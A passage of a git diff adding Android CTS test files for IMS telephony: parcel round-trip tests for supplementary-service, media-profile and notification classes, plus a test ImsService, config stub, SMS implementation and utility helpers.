+ }
+
+ ImsSsData data = new ImsSsData(ImsSsData.SS_CFU, ImsSsData.SS_INTERROGATION,
+ ImsSsData.SS_ALL_TELESEVICES, ImsSsData.SERVICE_CLASS_VOICE,
+ ImsReasonInfo.CODE_LOCAL_IMS_SERVICE_DOWN);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(data);
+ assertEquals(ImsSsData.SS_ALL_TELESEVICES, unparceledData.getTeleserviceType());
+ assertEquals(ImsReasonInfo.CODE_LOCAL_IMS_SERVICE_DOWN, unparceledData.getResult());
+ assertEquals(ImsSsData.SERVICE_CLASS_VOICE, unparceledData.getServiceClass());
+ assertEquals(ImsSsData.SS_INTERROGATION, unparceledData.getRequestType());
+ assertEquals(ImsSsData.SS_CFU, unparceledData.getServiceType());
+
+ }
+
+
+ @Test
+ public void testSetCallForwardingInfo() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ ImsCallForwardInfo info = new ImsCallForwardInfo(ImsCallForwardInfo.CDIV_CF_REASON_ALL,
+ ImsCallForwardInfo.STATUS_ACTIVE, ImsCallForwardInfo.TYPE_OF_ADDRESS_UNKNOWN,
+ ImsSsData.SERVICE_CLASS_NONE, "5551212", 0);
+ List<ImsCallForwardInfo> infos = new ArrayList<>();
+ infos.add(info);
+
+ ImsSsData.Builder dataBuilder = new ImsSsData.Builder(ImsSsData.SS_CFU,
+ ImsSsData.SS_INTERROGATION, ImsSsData.SS_ALL_TELESEVICES, 0, 60);
+ dataBuilder.setCallForwardingInfo(infos);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(dataBuilder.build());
+
+ assertFalse(unparceledData.getCallForwardInfo().isEmpty());
+ ImsCallForwardInfo testInfo = unparceledData.getCallForwardInfo().get(0);
+ assertEquals(info.getCondition(), testInfo.getCondition());
+ assertEquals(info.getStatus(), testInfo.getStatus());
+ assertEquals(info.getToA(), testInfo.getToA());
+ assertEquals(info.getServiceClass(), testInfo.getServiceClass());
+ assertEquals(info.getNumber(), testInfo.getNumber());
+ assertEquals(info.getTimeSeconds(), testInfo.getTimeSeconds());
+ }
+
+ @Test
+ public void testSetSuppServiceInfo() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ ImsSsInfo info = new ImsSsInfo.Builder(ImsSsInfo.ENABLED)
+ .setClirInterrogationStatus(ImsSsInfo.CLIR_STATUS_PROVISIONED_PERMANENT)
+ .setClirOutgoingState(ImsSsInfo.CLIR_OUTGOING_SUPPRESSION)
+ .setIncomingCommunicationBarringNumber("+16505551212")
+ .setProvisionStatus(ImsSsInfo.SERVICE_PROVISIONED).build();
+ List<ImsSsInfo> infos = new ArrayList<>();
+ infos.add(info);
+
+ ImsSsData.Builder dataBuilder = new ImsSsData.Builder(ImsSsData.SS_CLIR,
+ ImsSsData.SS_INTERROGATION, ImsSsData.SS_ALL_TELESEVICES, 0, 60);
+ dataBuilder.setSuppServiceInfo(infos);
+
+ ImsSsData unparceledData = (ImsSsData) parcelUnparcel(dataBuilder.build());
+
+ assertFalse(unparceledData.getSuppServiceInfo().isEmpty());
+ ImsSsInfo testInfo = unparceledData.getSuppServiceInfo().get(0);
+ assertEquals(info.getIncomingCommunicationBarringNumber(),
+ testInfo.getIncomingCommunicationBarringNumber());
+ assertEquals(info.getProvisionStatus(), testInfo.getProvisionStatus());
+ assertEquals(info.getClirInterrogationStatus(), testInfo.getClirInterrogationStatus());
+ assertEquals(info.getClirOutgoingState(), testInfo.getClirOutgoingState());
+ }
+
+ /**
+ * Passing in Object here instead of ImsSsData because this may be run on devices where
+ * ImsSsData does not exist.
+ */
+ private Object parcelUnparcel(Object dataObj) {
+ ImsSsData data = (ImsSsData) dataObj;
+ Parcel parcel = Parcel.obtain();
+ data.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ ImsSsData unparceledData = ImsSsData.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+ return unparceledData;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsInfoTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsInfoTest.java
new file mode 100644
index 0000000..1309955
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsInfoTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsSsInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsSsInfoTest {
+
+ @Test
+ public void testParcelUnparcel() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsSsInfo data = new ImsSsInfo(ImsSsInfo.ENABLED, "123");
+
+ Parcel parcel = Parcel.obtain();
+ data.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ ImsSsInfo unparceledData = ImsSsInfo.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+
+ assertEquals(data.getStatus(), unparceledData.getStatus());
+ assertEquals(data.getIcbNum(), unparceledData.getIcbNum());
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java
new file mode 100644
index 0000000..2fe2307
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsStreamMediaProfile;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsStreamMediaProfileTest {
+
+ @Test
+ public void testParcelUnparcel() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+ ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+ ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+ ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+ ImsStreamMediaProfile.DIRECTION_RECEIVE,
+ ImsStreamMediaProfile.RTT_MODE_FULL);
+
+ ImsStreamMediaProfile unparceledData = (ImsStreamMediaProfile) parcelUnparcel(data);
+
+ assertEquals(data.getAudioDirection(), unparceledData.getAudioDirection());
+ assertEquals(data.getAudioQuality(), unparceledData.getAudioQuality());
+ assertEquals(data.getRttMode(), unparceledData.getRttMode());
+ assertEquals(data.getVideoDirection(), unparceledData.getVideoDirection());
+ assertEquals(data.getVideoQuality(), unparceledData.getVideoQuality());
+ }
+
+ @Test
+ public void testCopyFrom() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+ ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+ ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+ ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+ ImsStreamMediaProfile.DIRECTION_RECEIVE,
+ ImsStreamMediaProfile.RTT_MODE_FULL);
+
+ ImsStreamMediaProfile copiedData = new ImsStreamMediaProfile(0, 0, 0, 0, 0);
+ copiedData.copyFrom(data);
+
+ assertEquals(data.getAudioDirection(), copiedData.getAudioDirection());
+ assertEquals(data.getAudioQuality(), copiedData.getAudioQuality());
+ assertEquals(data.getRttMode(), copiedData.getRttMode());
+ assertEquals(data.getVideoDirection(), copiedData.getVideoDirection());
+ assertEquals(data.getVideoQuality(), copiedData.getVideoQuality());
+ }
+
+ @Test
+ public void testSetRttMode() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+ ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+ ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+ ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+ ImsStreamMediaProfile.DIRECTION_RECEIVE,
+ ImsStreamMediaProfile.RTT_MODE_FULL);
+ assertTrue(data.isRttCall());
+
+ data.setRttMode(ImsStreamMediaProfile.RTT_MODE_DISABLED);
+ assertFalse(data.isRttCall());
+ }
+
+ @Test
+ public void testReceivingRttAudio() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+ ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+ ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+ ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+ ImsStreamMediaProfile.DIRECTION_RECEIVE,
+ ImsStreamMediaProfile.RTT_MODE_FULL);
+
+ data.setReceivingRttAudio(true);
+
+ ImsStreamMediaProfile unparceled = (ImsStreamMediaProfile) parcelUnparcel(data);
+
+ assertTrue(unparceled.isReceivingRttAudio());
+ }
+
+ public Object parcelUnparcel(Object dataObj) {
+ ImsStreamMediaProfile data = (ImsStreamMediaProfile) dataObj;
+ Parcel parcel = Parcel.obtain();
+ data.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ ImsStreamMediaProfile unparceledData =
+ ImsStreamMediaProfile.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+ return unparceledData;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSuppServiceNotificationTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSuppServiceNotificationTest.java
new file mode 100644
index 0000000..7cc1a29
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSuppServiceNotificationTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsSuppServiceNotification;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsSuppServiceNotificationTest {
+
+ @Test
+ public void testParcelUnparcel() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ String[] dataHistory = new String[]{"123", "456"};
+ ImsSuppServiceNotification data = new ImsSuppServiceNotification(1, 1, 1, 1, "5551212",
+ dataHistory);
+
+ Parcel parcel = Parcel.obtain();
+ data.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ ImsSuppServiceNotification unparceledData =
+ ImsSuppServiceNotification.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+
+ assertEquals(data.notificationType, unparceledData.notificationType);
+ assertEquals(data.code, unparceledData.code);
+ assertEquals(data.index, unparceledData.index);
+ assertEquals(data.type, unparceledData.type);
+ assertEquals(data.number, unparceledData.number);
+
+ assertNotNull(unparceledData.history);
+ for (int i = 0; i < dataHistory.length; i++) {
+ assertEquals(data.history[i], unparceledData.history[i]);
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
new file mode 100644
index 0000000..6562d01
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.service.carrier.CarrierService;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+public class ImsUtils {
+ public static final boolean VDBG = false;
+
+ // ImsService rebind has an exponential backoff capping at 64 seconds. Wait for 70 seconds to
+ // allow for the new poll to happen in the framework.
+ public static final int TEST_TIMEOUT_MS = 70000;
+
+ public static boolean shouldTestImsService() {
+ final PackageManager pm = InstrumentationRegistry.getInstrumentation().getContext()
+ .getPackageManager();
+ boolean hasTelephony = pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ boolean hasIms = pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_IMS);
+ return hasTelephony && hasIms;
+ }
+
+ public static int getPreferredActiveSubId() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+ if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+ return defaultSubId;
+ }
+ // Couldn't resolve a default. We can try to resolve a default using the active
+ // subscriptions.
+ SubscriptionManager sm = (SubscriptionManager) context.getSystemService(
+ Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+ List<SubscriptionInfo> infos = ShellIdentityUtils.invokeMethodWithShellPermissions(sm,
+ SubscriptionManager::getActiveSubscriptionInfoList);
+ if (!infos.isEmpty()) {
+ return infos.get(0).getSubscriptionId();
+ }
+ // The best we can do is fall back to any default set. If it fails, notify the tester
+ // that there must be a default set.
+ return SubscriptionManager.getDefaultSubscriptionId();
+ }
+
+ /**
+ * If a carrier app implements CarrierMessagingService it can choose to take care of handling
+ * SMS OTT so SMS over IMS APIs won't be triggered which would be WAI so we do not run the tests
+ * if there exist a carrier app that declares a CarrierMessagingService
+ */
+ public static boolean shouldRunSmsImsTests(int subId) {
+ if (!shouldTestImsService()) {
+ return false;
+ }
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ TelephonyManager tm =
+ (TelephonyManager) InstrumentationRegistry.getInstrumentation().getContext()
+ .getSystemService(Context.TELEPHONY_SERVICE);
+ tm = tm.createForSubscriptionId(subId);
+ List<String> carrierPackages = tm.getCarrierPackageNamesForIntent(
+ new Intent(CarrierService.CARRIER_SERVICE_INTERFACE));
+
+ if (carrierPackages == null || carrierPackages.size() == 0) {
+ return true;
+ }
+ final PackageManager packageManager = context.getPackageManager();
+ Intent intent = new Intent("android.service.carrier.CarrierMessagingService");
+ List<ResolveInfo> resolveInfos = packageManager.queryIntentServices(intent, 0);
+ for (ResolveInfo info : resolveInfos) {
+ if (carrierPackages.contains(info.serviceInfo.packageName)) {
+ return false;
+ }
+ }
+
+ return true;
+ }
+
+ /**
+ * Retry every 5 seconds until the condition is true or fail after TEST_TIMEOUT_MS seconds.
+ */
+ public static boolean retryUntilTrue(Callable<Boolean> condition) throws Exception {
+ int retryCounter = 0;
+ while (retryCounter < (TEST_TIMEOUT_MS / 5000)) {
+ try {
+ Boolean isSuccessful = condition.call();
+ isSuccessful = (isSuccessful == null) ? false : isSuccessful;
+ if (isSuccessful) return true;
+ } catch (Exception e) {
+ // we will retry
+ }
+ Thread.sleep(5000);
+ retryCounter++;
+ }
+ return false;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
new file mode 100644
index 0000000..325ec59
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.stub.ImsConfigImplBase;
+
+import java.util.HashMap;
+
+public class TestImsConfig extends ImsConfigImplBase {
+
+ private HashMap<Integer, Integer> mIntHashMap = new HashMap<>();
+ private HashMap<Integer, String> mStringHashMap = new HashMap<>();
+
+ @Override
+ public int setConfig(int item, int value) {
+ mIntHashMap.put(item, value);
+ return ImsConfigImplBase.CONFIG_RESULT_SUCCESS;
+ }
+
+ @Override
+ public int setConfig(int item, String value) {
+ mStringHashMap.put(item, value);
+ return ImsConfigImplBase.CONFIG_RESULT_SUCCESS;
+ }
+
+ @Override
+ public int getConfigInt(int item) {
+ Integer result = mIntHashMap.get(item);
+ return result != null ? result : ImsConfigImplBase.CONFIG_RESULT_UNKNOWN;
+ }
+
+ @Override
+ public String getConfigString(int item) {
+ return mStringHashMap.get(item);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
new file mode 100644
index 0000000..c793d00
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -0,0 +1,302 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.IBinder;
+import android.telephony.ims.ImsService;
+import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.ImsConfigImplBase;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A Test ImsService that will verify ImsService functionality.
+ */
+public class TestImsService extends Service {
+
+ private static final String TAG = "GtsImsTestImsService";
+
+ private static ImsRegistrationImplBase sImsRegistrationImplBase = new ImsRegistrationImplBase();
+
+ private TestRcsFeature mTestRcsFeature;
+ private TestMmTelFeature mTestMmTelFeature;
+ private TestImsConfig mTestImsConfig;
+ private ImsService mTestImsService;
+ private boolean mIsEnabled = false;
+ private ImsFeatureConfiguration mFeatureConfig;
+ private final Object mLock = new Object();
+
+ public static final int LATCH_FEATURES_READY = 0;
+ public static final int LATCH_ENABLE_IMS = 1;
+ public static final int LATCH_DISABLE_IMS = 2;
+ public static final int LATCH_CREATE_MMTEL = 3;
+ public static final int LATCH_CREATE_RCS = 4;
+ public static final int LATCH_REMOVE_MMTEL = 5;
+ public static final int LATCH_REMOVE_RCS = 6;
+ public static final int LATCH_MMTEL_READY = 7;
+ public static final int LATCH_RCS_READY = 8;
+ public static final int LATCH_MMTEL_CAP_SET = 9;
+ public static final int LATCH_RCS_CAP_SET = 10;
+ private static final int LATCH_MAX = 11;
+ protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+ static {
+ for (int i = 0; i < LATCH_MAX; i++) {
+ sLatches[i] = new CountDownLatch(1);
+ }
+ }
+
+ interface RemovedListener {
+ void onRemoved();
+ }
+ interface ReadyListener {
+ void onReady();
+ }
+ interface CapabilitiesSetListener {
+ void onSet();
+ }
+
+ // This is defined here instead TestImsService extending ImsService directly because the GTS
+ // tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
+ // even if it isn't used.
+ private class ImsServiceUT extends ImsService {
+
+ ImsServiceUT(Context context) {
+ // As explained above, ImsServiceUT is created in order to get around classloader
+ // restrictions. Attach the base context from the wrapper ImsService.
+ if (getBaseContext() == null) {
+ attachBaseContext(context);
+ }
+ mTestImsConfig = new TestImsConfig();
+ }
+
+ @Override
+ public ImsFeatureConfiguration querySupportedImsFeatures() {
+ return getFeatureConfig();
+ }
+
+ @Override
+ public void readyForFeatureCreation() {
+ synchronized (mLock) {
+ countDownLatch(LATCH_FEATURES_READY);
+ }
+ }
+
+ @Override
+ public void enableIms(int slotId) {
+ synchronized (mLock) {
+ countDownLatch(LATCH_ENABLE_IMS);
+ setIsEnabled(true);
+ }
+ }
+
+ @Override
+ public void disableIms(int slotId) {
+ synchronized (mLock) {
+ countDownLatch(LATCH_DISABLE_IMS);
+ setIsEnabled(false);
+ }
+ }
+
+ @Override
+ public RcsFeature createRcsFeature(int slotId) {
+ synchronized (mLock) {
+ countDownLatch(LATCH_CREATE_RCS);
+ mTestRcsFeature = new TestRcsFeature(
+ //onReady
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_RCS_READY);
+ }
+ },
+ //onRemoved
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_REMOVE_RCS);
+ mTestRcsFeature = null;
+ }
+ },
+ //onCapabilitiesSet
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_RCS_CAP_SET);
+ }
+ }
+ );
+ return mTestRcsFeature;
+ }
+ }
+
+ @Override
+ public ImsConfigImplBase getConfig(int slotId) {
+ return mTestImsConfig;
+ }
+
+ @Override
+ public MmTelFeature createMmTelFeature(int slotId) {
+ synchronized (mLock) {
+ countDownLatch(LATCH_CREATE_MMTEL);
+ mTestMmTelFeature = new TestMmTelFeature(
+ //onReady
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_MMTEL_READY);
+ }
+ },
+ //onRemoved
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_REMOVE_MMTEL);
+ mTestMmTelFeature = null;
+ }
+ },
+ //onCapabilitiesSet
+ () -> {
+ synchronized (mLock) {
+ countDownLatch(LATCH_MMTEL_CAP_SET);
+ }
+ }
+ );
+ return mTestMmTelFeature;
+ }
+ }
+
+ @Override
+ public ImsRegistrationImplBase getRegistration(int slotId) {
+ return sImsRegistrationImplBase;
+ }
+ }
+
+ private final LocalBinder mBinder = new LocalBinder();
+ // For local access of this Service.
+ class LocalBinder extends Binder {
+ TestImsService getService() {
+ return TestImsService.this;
+ }
+ }
+
+ ImsService getImsService() {
+ synchronized (mLock) {
+ if (mTestImsService != null) {
+ return mTestImsService;
+ }
+ mTestImsService = new ImsServiceUT(this);
+ return mTestImsService;
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ if ("android.telephony.ims.ImsService".equals(intent.getAction())) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "onBind-Remote");
+ }
+ return getImsService().onBind(intent);
+ }
+ if (ImsUtils.VDBG) {
+ Log.i(TAG, "onBind-Local");
+ }
+ return mBinder;
+ }
+
+ public void resetState() {
+ synchronized (mLock) {
+ mTestMmTelFeature = null;
+ mTestRcsFeature = null;
+ mIsEnabled = false;
+ for (int i = 0; i < LATCH_MAX; i++) {
+ sLatches[i] = new CountDownLatch(1);
+ }
+ }
+ }
+
+ // Sets the feature configuration. Make sure to call this before initiating Bind to this
+ // ImsService.
+ public void setFeatureConfig(ImsFeatureConfiguration f) {
+ synchronized (mLock) {
+ mFeatureConfig = f;
+ }
+ }
+
+ public ImsFeatureConfiguration getFeatureConfig() {
+ synchronized (mLock) {
+ return mFeatureConfig;
+ }
+ }
+
+ public boolean isEnabled() {
+ synchronized (mLock) {
+ return mIsEnabled;
+ }
+ }
+
+ public void setIsEnabled(boolean isEnabled) {
+ synchronized (mLock) {
+ mIsEnabled = isEnabled;
+ }
+ }
+
+ public boolean waitForLatchCountdown(int latchIndex) {
+ boolean complete = false;
+ try {
+ CountDownLatch latch;
+ synchronized (mLock) {
+ latch = sLatches[latchIndex];
+ }
+ complete = latch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // complete == false
+ }
+ synchronized (mLock) {
+ sLatches[latchIndex] = new CountDownLatch(1);
+ }
+ return complete;
+ }
+
+ public void countDownLatch(int latchIndex) {
+ synchronized (mLock) {
+ sLatches[latchIndex].countDown();
+ }
+ }
+
+ public TestMmTelFeature getMmTelFeature() {
+ synchronized (mLock) {
+ return mTestMmTelFeature;
+ }
+ }
+
+ public TestRcsFeature getRcsFeature() {
+ synchronized (mLock) {
+ return mTestRcsFeature;
+ }
+ }
+
+ public ImsRegistrationImplBase getImsRegistration() {
+ synchronized (mLock) {
+ return sImsRegistrationImplBase;
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsSmsImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsSmsImpl.java
new file mode 100644
index 0000000..462cad3
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsSmsImpl.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+
+import android.telephony.SmsManager;
+import android.telephony.SmsMessage;
+import android.telephony.ims.stub.ImsSmsImplBase;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class TestImsSmsImpl extends ImsSmsImplBase {
+ private static final String TAG = "CtsTestImsService";
+
+ private CountDownLatch mSentTriggeredLatch = new CountDownLatch(1);
+ private CountDownLatch mOnReadyLatch = new CountDownLatch(1);
+ private CountDownLatch mAckDeliveryLatch = new CountDownLatch(1);
+ private CountDownLatch mSmsAckLatch = new CountDownLatch(1);
+ // Expecting only one message at a time
+ public byte[] sentPdu;
+ private int mToken;
+ private int mMessageRef;
+ private int mResult;
+
+ @Override
+ public void sendSms(int token, int messageRef, String format, String smsc, boolean isRetry,
+ byte[] pdu) {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "ImsSmsImplBase.sendSms called");
+ }
+ sentPdu = pdu;
+ mToken = token;
+ mMessageRef = messageRef;
+
+ mSentTriggeredLatch.countDown();
+ }
+
+ @Override
+ public String getSmsFormat() {
+ return SmsMessage.FORMAT_3GPP;
+ }
+
+ @Override
+ public void onReady() {
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "ImsSmsImplBase.onReady called");
+ }
+ mOnReadyLatch.countDown();
+
+ }
+
+ @Override
+ public void acknowledgeSms(int token, int messageRef, int result) {
+ mToken = token;
+ mMessageRef = messageRef;
+ mResult = result;
+ mSmsAckLatch.countDown();
+ }
+
+ @Override
+ public void acknowledgeSmsReport(int token, int messageRef, int result) {
+ mToken = token;
+ mMessageRef = messageRef;
+ mResult = result;
+ mAckDeliveryLatch.countDown();
+ }
+
+ public void receiveSmsWaitForAcknowledge(int token, String format, byte[] pdu) {
+ onSmsReceived(token, format, pdu);
+ boolean complete = false;
+ try {
+ complete = mSmsAckLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // complete == false
+ }
+
+ assertTrue("Timed out waiting for acknowledgeSms.", complete);
+ assertEquals("Token mismatch.", token, mToken);
+ assertTrue("Invalid messageRef", mMessageRef >= 0);
